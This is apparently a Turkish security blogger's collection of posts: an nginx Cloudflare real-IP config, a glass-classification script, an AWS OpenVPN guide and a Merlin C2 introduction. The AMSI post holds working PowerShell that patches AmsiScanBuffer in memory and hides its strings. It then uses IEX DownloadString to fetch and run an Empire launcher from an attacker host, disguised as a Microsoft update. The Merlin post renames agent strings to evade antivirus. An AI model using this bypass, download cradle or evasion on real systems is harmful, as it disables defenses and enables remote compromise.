Nginx ile Cloudflare'den Gerçek IP Adresini Alma

 Merhabalar, nginx ile uygulama yayınlarken , yayınlama işlemini cloudflare arkasında gerçekleştiriyorsanız nginx loglarında gelen ip adresi LB ip adresleri olacaktır.Bu sorunu aşmak adına örnek nginx.conf dosyası aşağıdadır.



server {

  listen 80;

  server_name   serverName;

set_real_ip_from 103.21.244.0/22;

set_real_ip_from 103.22.200.0/22;

set_real_ip_from 103.31.4.0/22;

set_real_ip_from 104.16.0.0/12;

set_real_ip_from 108.162.192.0/18;

set_real_ip_from 131.0.72.0/22;

set_real_ip_from 141.101.64.0/18;

set_real_ip_from 162.158.0.0/15;

set_real_ip_from 172.64.0.0/13;

set_real_ip_from 173.245.48.0/20;

set_real_ip_from 188.114.96.0/20;

set_real_ip_from 190.93.240.0/20;

set_real_ip_from 197.234.240.0/22;

set_real_ip_from 198.41.128.0/17;

set_real_ip_from 2400:cb00::/32;

set_real_ip_from 2606:4700::/32;

set_real_ip_from 2803:f800::/32;

set_real_ip_from 2405:b500::/32;

set_real_ip_from 2405:8100::/32;

set_real_ip_from 2c0f:f248::/32;

set_real_ip_from 2a06:98c0::/29;

set_real_ip_from varsa_kendi_load_balancer_ip_adresiniz;

real_ip_header CF-Connecting-IP;


  location / {

        proxy_pass http://proxy.org;

}

}




Burada önemli olan iki noktayı açıklayacak olursak, real_ip modülü ile  set_real_ip_from kısmında load balancer ip aralıklarını belirttik, real_ip_header kısmındada CF-Connecting-IP(XFF değil :) ) düzenlemesi yaptık.Bu işlemin sonucunda client ip adreslerini elde edeceksiniz.





Amsi( Anti Malware Scan Interface) Atlatma


 Herkese merhabalar, bugün sizlere Amsi'ı atlatıp powershell üzerinden istediğimiz komutları çalıştırabilme konusunda bildiklerimi aktarmak istedim çünkü, Amsi yer yer oldukça can sıkabilmektedir.Mesela post exploitation aşamasındasınızdır, elinizde sizin yazdığınız veya internetten bulduğunuz powershell komutları vardır fakat Amsi ; 


diyerek canınızı sıkabilmektedir.İşte bu noktada Rasta Mouse "AmsiScanBufferBypass" ile sorunumuza çözüm getirmişken, geçen zamanla birlikte güvenlik çözümleri de bu modülü olduğu gibi çalıştırmamıza izin vermemektedir(Bir nevi bizi daha yaratıcı olmaya teşvik ediyor :) ).Çalışma mantığını açıklayacak olursak kısaca amsi.dll'yi yükleyip, bir dizi işlemden sonra her zaman amsi_result_clean değeri dönmesini sağlamaktadır. Bugün ise bu modül üzerinde yapacağımız değişikliklerle Amsi'ı nasıl atlatabileceğimizi aktaracağım.

Öncelikle Rasta Mouse'un AmsiScanBufferBypass'ını inceleyelim ;


$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

Sondan bir önce "$Patch" ile başlayan satırın sonundaki "0xc3" ü "0xC2+0x1" olarak değiştirdiğinizde bile kod çalışabilmektedir.Yani bu tarz bir değişiklik sonrası ilgili satırın son hali ;

$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2+0x1)


olacaktır.Fakat aşağıdaki gibi bir değişiklik bizleri sancısız sonuca ulaştırmak için idealdir.


$Win32 = @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type $Win32 $test = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c) $LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($test)) $test2 = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72) $Address = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($test2)) $p = 0 [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p) $Patch = [Byte[]] (0x31, 0xC0, 0x05, 0x78, 0x01, 0x19, 0x7F, 0x05, 0xDF, 0xFE, 0xED, 0x00, 0xC3) #0: 31 c0 xor eax,eax #2: 05 78 01 19 7f add eax,0x7f190178 #7: 05 df fe ed 00 add eax,0xedfedf #c: c3 ret [System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, $Patch.Length)

Şimdi Windows Defender'ın tüm koruma ayarları aktif durumda iken oluşturduğumuz betiği çalıştırmayı deneyelim.


İşlerin yolunda gittiğini True değerinin dönmesiyle anlamaktayız.Şimdi modifiyeli AmsiScanBufferBypass ile Empire Framework powershell launcher'ı çalıştıralım.




"usestager windows/ducky" komutu ile ducky script launcher'ı oluşturuyoruz çünkü, direk powershell launcher'ı elde etmenin en kısa yolu bu.

İlgili parametreleri girdikten sonra "execute" dedikten sonra çıktı olarak bize ducky scriptini vermektedir.Bu script içerisinden powershell komutunun yer aldığı kısmı alalım.

AmsiScanBufferBypass'ın gücüne güvenip base64 ile encode edilmiş kodu decode edip ham haliyle işleme sokabiliriz(zaten geçen zaman içerisinde encode edilmiş olması hiçbir güvenlik çözümünden kaçınmasını sağlamamaktadır), hatta öyle yapacağım.


Şimdi bu komutu bir .ps1 dosyasına kaydedip dosyayı yayınlayalım(serve).Ardından AmsiScanBufferBypass modülümüzün içerisinde bu komutu çalıştıralım

$Win32 = @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type $Win32 $test = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c) $LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($test)) $test2 = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72) $Address = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($test2)) $p = 0 [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p) $Patch = [Byte[]] (0x31, 0xC0, 0x05, 0x78, 0x01, 0x19, 0x7F, 0x05, 0xDF, 0xFE, 0xED, 0x00, 0xC3) #0: 31 c0 xor eax,eax #2: 05 78 01 19 7f add eax,0x7f190178 #7: 05 df fe ed 00 add eax,0xedfedf #c: c3 ret [System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, $Patch.Length) IEX (New-Object Net.WebClient).DownloadString("http://x.x.x.126:8080/test2.ps1")

Şimdi sıra geldi bu betiği çalıştırmaya.


Betiğimizi çalıştırıyoruz ve bağlantı anında geliyor.


DefenderCheck ile betiklerimizi kontrol edelim.Üstteki orjinal Rasta Mouse AmsiScanBufferBypass betiği, alt taraftaki ise modifiye edilmiş AmsiScanBufferBypass betiğidir.Görüldüğü üzere orjinal dosya tespit edilirken, modifiyeli dosyamız temiz olarak nitelendirilmiştir.


Kodladığım yada bir kaynaktan alıp düzenleme yaptığım betik/programların şüpheli olarak sınıflandırılan kısımlarını görüp, gerekli düzeltmeleri yapmak için kullandığım bir diğer araç olan pestudio ile modifiye ettiğimiz AmsiScanBufferBypass betiğini incelediğimizde bir satırda yer alan string ifadelerin uzunluğunun da şüpheli durduğunu görmekteyiz fakat zarar teşkil etme durumu 2. seviye olduğundan bize herhangi bir problem yaratmadı.



Anvitivürs tarafında bir sorun yaşamış olsaydık burada hangi satırda yer alan string ifadelerinnin uzunluğunun dikkat çektiğini de görüp, ona göre değişiklik yapabilirdik.Ben burada herhangi bir aksiyon almıyorum,peki bittimi ? Tabii ki de hayır.

Senaryodan senaryoya göre ihtiyaçlar ve alınması gereken önlemler değişkenlik göstermektedir.Güvenlik ekiplerinin de dahil olduğu bir senaryo düşünürsek, güvenlik ekiplerinden kaçınma şansımızı arttırmak için IEX beşiğini olağan bir şey gibi gösterebiliriz.Bu aşamaya geçmek için modifiyeli AmsiScanBufferBypass betiğimizi de yayınlıyor(serve) olmamız gerekmektedir.

Yukarıda ki komut, sanki bir Microsoft güncellemesi gibi sanılsın diye, bizim modifiyeli AmsiScanBufferBypass betiğimizin etrafına bir kaç şey serpiştirilmiş halidir.Yaptığımız işlemi özetleyecek olursak MicrosoftVersionHash diye bir değişken içerisine base64 ile modifiyeli AmsiScanBufferBypass'in yayınlandığı URL'i atadık(yani "http://x.x.x.x:8080/test2.ps1") devamında da dosyamızı çektik ve artık alıştırmamızın sonuna geldik

Aşamalar ile alakalı sorularınız için emrehuseyinkahyaoglu@gmail.com adresinden benimle iletişime geçebilirsiniz.Bir sonraki yazımda görüşmek dileğiyle, güvenli günler dilerim.


(Yapay Zeka Alıştırması) Cam Türü Sınıflandırılması - Lojistik Regresyon, Karar Ağacı(CART)

 Herkese merhabalar, glass dataseti kullanılarak cam türü sınıflandırma probleminin çözümü için hazırladığım python kodları aşağıda yer almaktadır.Satırlarda gerekli açıklamalar bulunmaktadır, takıldığınız noktalar için iletişime geçebilirsiniz.Güvenli günler dilerim.


# -*- coding: utf-8 -*-
"""
Emre Hüseyinkahyaoğlu 
"""

import pandas as pds  #Veri okuma işlemi için
from sklearn.model_selection import train_test_split # eğitim ve test datasını ayırmak için
from sklearn.tree import DecisionTreeClassifier # karar ağacı için
from sklearn.metrics import accuracy_score # skorlama işlemi için
from sklearn import preprocessing # normalize işlemi için
from sklearn.externals.six import StringIO # görsel kısım için
from IPython.display import Image # görsel kısım için
from sklearn.tree import export_graphviz # görsel kısım için
import pydotplus # görsel kısım için
from sklearn.metrics import mean_squared_error # CART için
import math # CART için
from sklearn.linear_model import LogisticRegression # Lojistik Regresyon modelleme için
#Graphviz.py yi kendi dizininde bulamadığından
#ötürü kendim yüklediğim graphvizin yolunu gösteriyorum
import os      # graphvizin yolu ile alakalı yaşadığım sıkıntıyı gidermek adına işletim sistemi kütüphanesi
os.environ["PATH"] += os.pathsep + 'C:/Program Files (x86)/Graphviz2.38/bin/'

# Dosya import ediyorum
veri= pds.read_csv("glass.csv")
#hedef değişkenime 11. satırda olan Type yani cam tipini atıyorum
hedef=veri["Type"]
#hedef değişkenimi veri setimden başka bir değişkene parse ettiğim için kaldırıyorum.
veri= veri.drop("Type",axis=1)

#normalize 

temp=veri.values
minMaxScaler=preprocessing.MinMaxScaler()
tempScaled=minMaxScaler.fit_transform(temp)
veri=pds.DataFrame(tempScaled)

# eğitim ve test datasınının ayrılması

xEgitim,xTest,yEgitim,yTest = train_test_split(veri,hedef,test_size=0.30,random_state=70)
# ID3 Karar Ağacı algoritması ile tahmin işlemine geçiyorum.ID3 algoritması
# entropiden faydalanarak sınıflandırma problemlerini çözdüğünden ötürü
# burada varsayılan kriter olan gini yerine  entropy kullanıyorum.


dts=DecisionTreeClassifier(criterion="entropy")
dts=dts.fit(xEgitim,yEgitim)
hedefPred=dts.predict(xTest)
dtsSonuc=accuracy_score(yTest,hedefPred)
print("Karar ağacı ile :" , dtsSonuc)
#görsel kısım

cN = ['bwfp','bwnfp','vwfp','vwnfp','containers','tableware','headlamps']
fN = ['RI','NA','MG','AL','SI','K','CA','BA','FE']
gorsel1=StringIO()
export_graphviz(dts,out_file=gorsel1,filled=True,rounded=True,feature_names = fN,class_names=cN ,special_characters=True)
grafik=pydotplus.graph_from_dot_data(gorsel1.getvalue())
Image(grafik.create_png())
grafik.write_png("glassID3.png")

#Logistic Regression 

dts1= LogisticRegression(random_state=0,solver='lbfgs',multi_class='multinomial').fit(xEgitim,yEgitim)
regresSonuc=dts1.score(xTest,yTest)
print("Lojistik Regresyon ile : " , regresSonuc)



#CART(Sınıflandırma ve Karar ağaçları yöntemi ile)

dts2 = DecisionTreeClassifier()
dts2.fit(xEgitim,yEgitim)
hedefPred2=dts2.predict(xTest)
dogrulukSkor=accuracy_score(yTest,hedefPred2)
kareselHata=mean_squared_error(yTest,hedefPred2)
kareOrtKareKok=math.sqrt(kareselHata)
print("CART : ",dogrulukSkor,kareselHata,kareOrtKareKok)

#CART Görselleştirme

gorsel2=StringIO()
export_graphviz(dts2,out_file=gorsel2,filled=True,rounded=True,feature_names = fN,class_names=cN,special_characters=True)
grafik2=pydotplus.graph_from_dot_data(gorsel2.getvalue())
Image(grafik2.create_png())
grafik2.write_png("glassCART.png")


CART görselleştirme kısmından elde ettiğimiz görsel çıktı aşağıda yer almaktadır.





Ücretsiz VPN Kullanmayın,Kendinizinkini Oluşturun(AWS + OpenVPN)

Giriş

 Herkese merhabalar, bugün kendimce önemli olduğunu düşündüğüm bir sorun hakkında düşüncelerimi dile getirip, bu soruna çözüm getirmek amacıyla da bir çözüm önerisi paylaşacağım.

Konumuz hem tarayıcı eklentilerinde, hem mobil cihazlarımızda, hem de bilgisayarlarda kullanımımıza sunulan ücretsiz VPN hizmetleri ve kişisel verilerimiz için oluşturduğu tehditler.Öncelikle VPN nedir sorusuna ufak bir açıklama getirecek olursak Virtual Private Network yani Sanal Özel Ağ, hedef site ile aranızda bir köprü görevi görüp akan trafiğin şifreli olarak akmasını sağlar, böylelikle ağ trafiğinin 3. şahıslar tarafından okunmamasını sağlar.Bir diğer işlevi ise hedef ile aranızda bir köprü görevi gördüğünden, çıkış noktanızın mevcut konumunuzun dışında olması nedeniyle  kendi ülkenizdeki kısıtlamaları aşmanızı ve anonim(!) olmanızı sağlamasıdır.

VPN kullanmak isteyenler için ücretli ve ücretsiz pek çok seçenek bulunmaktadır.OpenVPN, ProtonVPN ücretsiz olarak güvenli bağlantı sağlamaktadır fakat sizlere sağladığı hız, saç baş yolduracak cinstendir.NordVPN gibi ücretli olarak güvenli bağlantı sağladığını, log tutmadığını iddia eden VPN sağlayıcıları da bulunmaktadır ki özellikle NordVPN çevremde çoğu insan tarafından sıkça kullanılmaktadır ve kullanıcıların çoğu NordVPN'in log tutmama taahhütü sebebiyle tercih ettiklerini dile getirmekteler.Bir de bilinçsiz son kullanıcıların tercih ettiği AppStore, Google Play Store ve internette yer alan kişisel veri avcısı VPN hizmetleri vardır ki bu yazıyı yazma sebebim kendileridir.


Google Play Store'da yer alan bir VPN uygulamasının kullanıcı sayısı

Araştırmalarım sırasında marketlerde yer alan ücretsiz VPN yorumlarını okuduğumda onlarca kişinin bu uygulamalar nedeniyle Netflix,Amazon gibi hesaplarının çalındığını beyan ettiklerine şahit oldum.Peki böyle bir şey mümkün müdür ? 

Evet ücretsiz VPN'ler ağ trafiğini şifrelemektedir fakat sadece siz ile VPN sunucusu arasındaki trafik şifrelenmektedir, sonrası bu hizmet kapsamında olmadığı için yaşanması olası bir senaryodur diyebilirim.Buradan çıkarmamız gereken sonuç VPN sağlayıcısı bütün trafiğinizi görebilir ve istediği her şeyi yapabilir, her türlü kaydı tutabilir(aksini iddia etse bile).Neticede kayıt tutmak VPN sağlayıcısının kendini garantiye almak için yapması muhtemel bir eylemdir çünkü hizmet verdiği kullanıcılardan birisi yasadışı bir faaliyet gerçekleştirdiyse, kimse emniyet güçlerini karşısına almak istemeyecektir.

Tehditler

Eğer ücretli bir VPN hizmeti alıyorsanız, maruz kalabileceğiniz tehdit sayısı ücretsize kıyasla daha azdır.Örnek olarak log tutmadığını vaat eden sağlayıcınız log tutuyor olabilir, yaptığınız aktiviteleri kayıt altına alıp 3.şahıslarla paylaşabilir(Örneğin: hangi siteler, hangi ülkelerden ziyaretçi alıyor, ziyaret sıklıkları nedir gibi bir çalışma için kullanılabilir.) Aktivitelerinizin kayıt altında olması size can sıkıcı gelmiyor olabilir fakat kişisel verilerinizin GDPR ve/veya KVKK mevzuatına aykırı olarak, açık rızanız alınmadan işleniyor olması istememeniz gereken bir unsurdur.

Ücretsiz VPN hizmetlerinde karşı karşıya kalabileceğiniz olası tehditler ise hassas verilerinizin çalınması, değiştirilmesi, kişisel verilerinizin 3. şahıslara aktarımı diyebiliriz.Şunu unutmayın ki size ücretsiz hizmet sunan VPN sağlayıcılarının hedef noktası, çeşitli sebeplerle anonimlik isteyen kişilerin ilginç olabilecek ağ trafiğidir.

Yazının maksadı kesinlikle karalamak değildir.Ama az şüpheci yaklaştığımızda karşılaştığımız gerçek kimsenin birileri gelsin bağlansın diye 5-10 sunucuya openvpn kurmayacağıdır veya kimsenin aylık 3-5 dolardan bant genişliği sattığı şahısları sırf taahhüt etti diye olası bir duruma karşı korumayacağıdır. 

İşte kendinizi bütün bu sorunlardan arındırmanın güzel bir yolu var, kendinizinkini oluşturmak.

VPN Sunucusunun Oluşturulması

Kendi VPN sunucunuzu oluşturmanın çeşitli yolları vardır.Eski veya kullanmadığınız bilgisayarınızla,VPS hizmeti satın alarak,Google Cloud Console(GCC) üzerinden veya Amazon Web Services(AWS)' ile kendi VPN sunucunuzu oluşturabilirsiniz.Biz bugün AWS'nin EC2 hizmeti ile işlem gerçekleştireceğiz.

Öncelikle bu uygulamada kendi VPN sunucunuzu oluşturmak için Amazon Web Services(AWS)'te hesap açmanız gerekmektedir.AWS ilk 12 ay sizlere ücretsiz olarak bir çok hizmet sunmaktadır ki bu hizmetlerden bir tanesi de Windows ve çeşitli linux dağıtımlarını çalıştırmamıza olanak sağlayan EC2 hizmetidir.Hesap açma aşamaları basit olduğundan o konuda bir yönerge hazırlama ihtiyacı duymadım, hesabınızı oluşturduktan sonrasındaki aşamalar için yönergelerde bulunacağım.

AWS doğrudan OpenVPN sunucusu kurmamıza da olanak sağlamaktadır fakat ufak tefek testler için de kullanmak için Ubuntu üzerinde kurulum gerçekleştireceğiz, dileyenler doğrudan OpenVPN ile de çalışabilir.

Şimdi AWS hesabı açtıktan sonraki aşamalara geçeceğiz.

Build a solution altında ilk sırada yer alan "Launch a virtual machine" sekmesine tıklıyoruz


Ubuntu Server 20.04'ü seçiyoruz

İşlemci ve ram özelliklerini seçmemiz isteniyor, ücretsiz kullanım için bizlere "free tier" ibaresiyle sunulan t2.microyu seçiyoruz

Burada bu uygulama için bir değişiklik yapmamız gerekmiyor, o yüzden "Next:Add Storage" deyip devam ediyoruz

Depolama alanı için boyut belirtmemiz gerekiyor, varsayılan olarak 5 gb seçili gelmekte, ben 25 gb veriyorum bu uygulamada kullanmak için.Zaten çok fazla vermemize de izin vermiyor ücretsiz kullanımda.

Yine bu uygulama için burada bir aksiyon almamız gerekmediğinden "Next:Configure Security Group" seçeneği ile devam ediyoruz
VPN'imizi 443/TCP portu ile haberleşecek şekilde ayarlayacağımız için burada gerekli kuralları tanımlamamız gerekmektedir.HTTPS üzerinden her yere bağlantı kurabilmek için Source kısmını "Anywhere" olarak tanımlıyoruz.Ayrıca ssh bağlantısı kurabilmek için de aynı işlemi gerçekleştiriyoruz.Normal şartlar altında belirli portlara her yerden erişim sağlayacak şekilde ayarlamak kesinlikle önerilen bir işlem değildir fakat ben sizlerin statik ip adresine sahip olmadığınızı varsayarak bu şekilde bir ayarlama yaptırıyorum.Şayet statik ip adresine sahipseniz custom seçeneği ile kendi ip adresinizi yazarak sadece kendi ip adresiniz üzerinden erişim kabul edecek şekilde ayarlayabilirsiniz.

Burada yaptığımız ayarları görüntülüyoruz, Launch diyerek son aşamamıza geçebiliriz.


Burada SSH bağlantısı için bir anahtar dosyası oluşturmamız gerekmektedir."Create a new key pair" diyerek "Key pair name" kısmında anahtar dosyamız için isim belirleyip indiriyoruz, ardından "Launch" diyerek makinemizi oluşturmak için gereken aşamaları sonlandırıyoruz.


İnstances sekmesine gelip makinemizi görebiliriz.Makinemizi seçiyoruz.


Bu alanda makinemizin iç/dış ağ ip ve dns adreslerini görmekteyiz. Sağ üstte bulunan "Connect" butonuna tıklıyoruz.


Bu alanda bağlantı kurmamız için seçenekler mevcuttur.Sol yukarda bulunan "EC Instance Connect" sekmesinde tarayıcı üzerinden makinemize erişim sağlayabiliyoruz, ben SSH Client üzerinden bağlantı kurmayı da sizlere göstereceğim."Example:" altında yer alan alanı kopyalıyoruz.Ardından Linux veya Mac kullanıyorsanız Terminal, Windows'ta iseniz cmd üzerinden makineyi oluştururken indirdiğiniz ".pem" uzantılı key dosyasının olduğu dizine geçiyoruz ve kopyaladığımız metni yapıştırıyoruz.


Makinemizle bağlantı kurduktan sonra "sudo su ; apt-get update ; apt-get upgrade" komutu ile paket güncellemesi yapıyoruz.

Artık OpenVPN kurulumuna hazırız.Şimdi terminale  "wget https://git.io/vpn -O openvpn-install.sh ; bash openvpn-install.sh"komutunu giriyoruz ve OpenVPN kurulumu için bizden istenen parametreleri giriyoruz.

  •  Bizden ilk olarak ip adresi istemektedir buraya Instances kısmından makinemize girdiğimizde yazan "Public IP" yani dış ağ ip adresini giriyoruz.
  • Ardından bağlantı türünü sormaktadır(TCP/UDP), biz TCP deyip devam ediyoruz
  • Hangi port üzerinden iletişim kuracağını sormaktadır, 443 yazıp devam ediyoruz.
  • Hangi DNS sağlayıcısını istediğimizi sormaktadır, Google seçeneği ile devam ediyoruz
  • Son olarak bir isim belirleyip işlemi sonlandırıyoruz.
Bir takım indirmeler yaptıktan sonra kurulum bitecektir.Kurulum bittikten sonra kullanıma hazır OpenVPN servisimiz aktif hale gelmiş olacaktır, kurulum bitince "/root/" dizinine ".ovpn" uzantılı bir dosya oluşturacaktır.Artık yapmamız gereken tek şey istemcimize OpenVPN Gui indirip bu ".ovpn" dosyasını atmaktır.İstemcimizde indirmek için dosyayı yayınlamamız gerekmektedir, bu sorunu kolayca çözen "http.server" isimli python3 modülünü kullanacağız.AWS'de yer alan Ubuntu imajında python3 varsayılan olarak gelmektedir, ekstra kuruluma ihtiyaç yoktur.

Terminale " cd /root/ ; python3 -m http.server 8080" komutunu girerek dosyamızı yayınlıyoruz.Sonraki aşamalar için her sistemde ayrı ayrı kurulumu göstereceğim.

OsX/Macbook İçin OpenVPN Bağlantısı


  Buradan MacOs için OpenVPN Gui uygulamasını indirip ".dmg" dosyasının kurulumunu yapıyoruz.
Spotlight'a OpenVPN yazıp OpenVPN Connect uygulamasını açıyoruz.

Tarayıcı da " http://ec2ubuntu.public.ip.adresi:8080" adresine gidiyoruz
".ovpn" uzantılı dosyaya tıklayıp indiriyoruz.



File sekmesine gelip browse butonuna tıklıyoruz


Import Profile seçeceğine tıklıyoruz ve indirdiğimiz ".ovpn" uzantılı dosyamızı seçiyoruz





 Artık VPN bağlantımız aktif haldedir.Hızdan bahsedecek olursam VPN bağlantısı olmadan Kablosuz bağlantıda 40MB bağlantı hızım var iken VPN ile 19MB hız elde etmekteyim.Ücretsiz VPN'lerin performansıyla kıyasladığımızda bence gayet başarılı, Vpnbook'tan edindiğim ücretsiz VPN'lerin 1MB altı bağlantı hızı verdiği zamanı düşündüğümde fazlasıyla tatmin ediyor.

Windows 10 İçin OpenVPN Bağlantısı

Buradan Windows için OpenVPN Gui uygulamasını indirip, kurulumunu yapıyoruz.

Tarayıcı da " http://ec2ubuntu.public.ip.adresi:8080" adresine gidiyoruz
".ovpn" uzantılı dosyaya tıklayıp indiriyoruz.

Ardından indirdiğimiz ".ovpn" uzantılı anahtar dosyamızı "C:\Users(Kullanıcılar)\kullanıcıAdınız\OpenVPN\Config" dizinine atıyoruz.


Bağlantı için Görev Çubuğuna gelen OpenVPN simgesine sağ tıklayıp Bağlan butonuna tıklıyoruz


Bağlantımız Aktif Haldedir.Hızdan bahsedecek olursam VPN bağlantısı olmadan Kablosuz bağlantıda 40MB bağlantı hızım var iken VPN ile 19MB hız elde etmekteyim.Ücretsiz VPN'lerin performansıyla kıyasladığımızda bence gayet başarılı, Vpnbook'tan edindiğim ücretsiz VPN'lerin 1MB altı bağlantı hızı verdiği zamanı düşündüğümde fazlasıyla tatmin ediyor.

Mobil İçin(IOS) OpenVPN Bağlantısı

AppStore Üzerinden OpenVPN uygulamasını indiriyoruz


Tarayıcı da " http://ec2ubuntu.public.ip.adresi:8080" adresine gidiyoruz
".ovpn" uzantılı dosyaya tıklıyoruz


OpenVPN ile aç seçeneğini seçiyoruz

Add seçeneğini seçiyoruz

"Connect after import" tikini işaretleyip sağ yukarıda bulunan "ADD" butonuna tıklıyoruz

Bağlantımız Aktif Haldedir.Hızdan bahsedecek olursam VPN bağlantısı olmadan Kablosuz bağlantıda 40MB bağlantı hızım var iken VPN ile 19MB hız elde etmekteyim.Ücretsiz VPN'lerin performansıyla kıyasladığımızda bence gayet başarılı, Vpnbook'tan edindiğim ücretsiz VPN'lerin 1MB altı bağlantı hızı verdiği zamanı düşündüğümde fazlasıyla tatmin ediyor.

Böylelikle günün sonunda hem kendimize ait ücretsiz bir VPN'e,hem ücretsiz bir VPN'den alabileceğimiz en iyi performansa , hem de kişisel verilerimizin güvence altına alınmasına sahip olmuş oluyoruz.

Aşamalarla alakalı yaşayacağınız olası sorunlar için emrehuseyinkahyaoglu@gmail.com adresinden veya sosyal medya hesaplarımdan benimle iletişime geçebilirsiniz.Güvenli günler dilerim.













Merlin Command & Control Framework - İnceleme



Herkese merhabalar,daha önce Empire ve Covenanttan bahsetmiştim ve bu iki c2 frameworkten bahsedip Merlin'den  söz etmemek olmaz diye düşünüp, sizler için Merlin'e bir giriş yapmak istedim.Covenant'tan bahsettiğim yazımda Merlin ve Http2 protokolünden, Http2 protokolü kullanılarak IDS/IPS çözümlerini atlatmanın mümkün olduğundan söz etmiştim.Şimdi Http2 protokolü desteği ile ön plana çıkan, go dili ile yazılmış Merlin'den bahsedelim.

Bir çok güvenlik çözümü, http2 trafiğini ayrıştıracak şekilde donatılmadığı için, anahtarlama materyaline sahip olsa dahi ayrıştıramamaktadır.Bu özelliğe sahip güvenlik çözümleri de http2 protokolünde kullanılan Perfect Forward Secrecy (PFS) şifreleme tekniği kullanıldığından ağ trafiğinin şifresini çözmek için gereken tüm anahtarlama malzemelerini yakalaması oldukça zordur.Buradan özetle Merlin'in bu "büyülü" tarafının desteklediği protokol ve go dili ile yazılmasından kaynaklandığını söylemek yanlış olmayacaktır.

Merlin, server ve agent olmak üzere iki bölümden oluşur. Go'nun gücünden dolayı, her iki bileşen de herhangi bir platformda çalışacak şekilde derlenebilir veya bir betik "gibi" çalıştırılabilir. Linux'ta veya herhangi bir platformda çalışmak üzere derlenen bir sunucu, diğer tüm platformlar için derlenen aracıları işleyebilir.

İlk olarak (yanlış hatırlamıyorsam) 3 sene önce Neondog tarafından git üzerinden yayınlandı ve hala beta aşamasında olmakla birlikte son güncellemeyle önemli ölçüde gelişmiştir.Güncelleme notlarından önemli gördüklerimi aktaracak olursam : 

  • Yeni Listeners menüsü
  • Uygulamayı yeniden başlatmaya gerek kalmadan dilediğiniz kadar listenerı başlatıp durdurma
  • Listenerlara agentların bir url üzerinden bağlanmasını(Örneğin:https://127.0.0.1/sondakika.php)
  • JA3 ile TLS bağlantısı
diyebilirim.Biraz daha geliştirme ile çok daha popüler hale geleceğini düşünüyorum.Lafı fazla uzatmadan kurulum ve kurulum sonrası inceleme kısımlarına geçiş yapalım.

İlk olarak go için gerekli paketlerin kurulmasıyla başlayacağız fakat merlin ve bir takım bileşenler ile uyumlu çalışan(tamamen şahsi düşüncem) go sürümü 1.14 olduğu için bu sürümü kurmanızda fayda vardır.İlgili sürümü bir betik ile kolaylıkla yükleyebilmeniz için linkini buraya bırakıyorum.
Aşağıdaki gibi git reposundan merlini çekiyoruz ve merlin dizinine geçiyoruz

git clone https://github.com/Ne0nd0g/merlin ; cd merlin
Ardından aşağıdaki gibi merlini çalıştırıyoruz

go run cmd/merlinserver/main.go

Güzel bir banner ile açılıyor ve help ile girebileceğimiz komutları listeliyoruz.Biz ilk olarak dinleme yapabilmemiz için gereken listenerı oluşturacağız.


Merlin bize listener için 5 ayrı protokol sunmaktadır.Ben http2 protokolü ile devam edeceğim

Yukarıdaki gibi Interface kısmını 0.0.0.0 yapıyoruz(sadece lokal ağ üzerinden değil, dış ağ üzerinden de agent kabul edebilmek için) ve PSK parametresine bağlantı için gerekli şifreyi veriyoruz 

Son hali bu şekilde olacaktır, şimdi start komutu ile dinleyicimizi başlatıyoruz.


Merlin'de agent yerleştirme senaryomuz, hedef sistemde(osX,Windows,Linux) çalıştırmak üzere bir dosya oluşturup, yine hedef sistem üzerinde ilgili dosyaya merlin server ip adresi ve bağlantı için oluşturduğumuz şifreyi parametre olarak vererek gerçekleştirilmektedir.

Hedef sistemde çalıştıracağımız dosyayı antivirüsler ve AMSI'dan kaçındırmak için aşağıdaki değişiklikleri sırasıyla giriyoruz.Yaptığımız işlem, zararlı olarak sınıflandırılacak string ifadelerin değiştirilmesidir.

find . -name '*.go' -type f -print0 | xargs -0 sed -i 's/ExecuteShell/MiniMice/g'
find . -name '*.go' -type f -print0 | xargs -0 sed -i 's/executeShell/miniMice/g'
find . -name '*.go' -type f -print0 | xargs -0 sed -i 's/github.com\/Ne0nd0g\/merlin/github.com\/mini\/heyho/g'
sed -i 's/github.com\/Ne0nd0g\/merlin/github.com\/mini\/heyho/g' go.mod

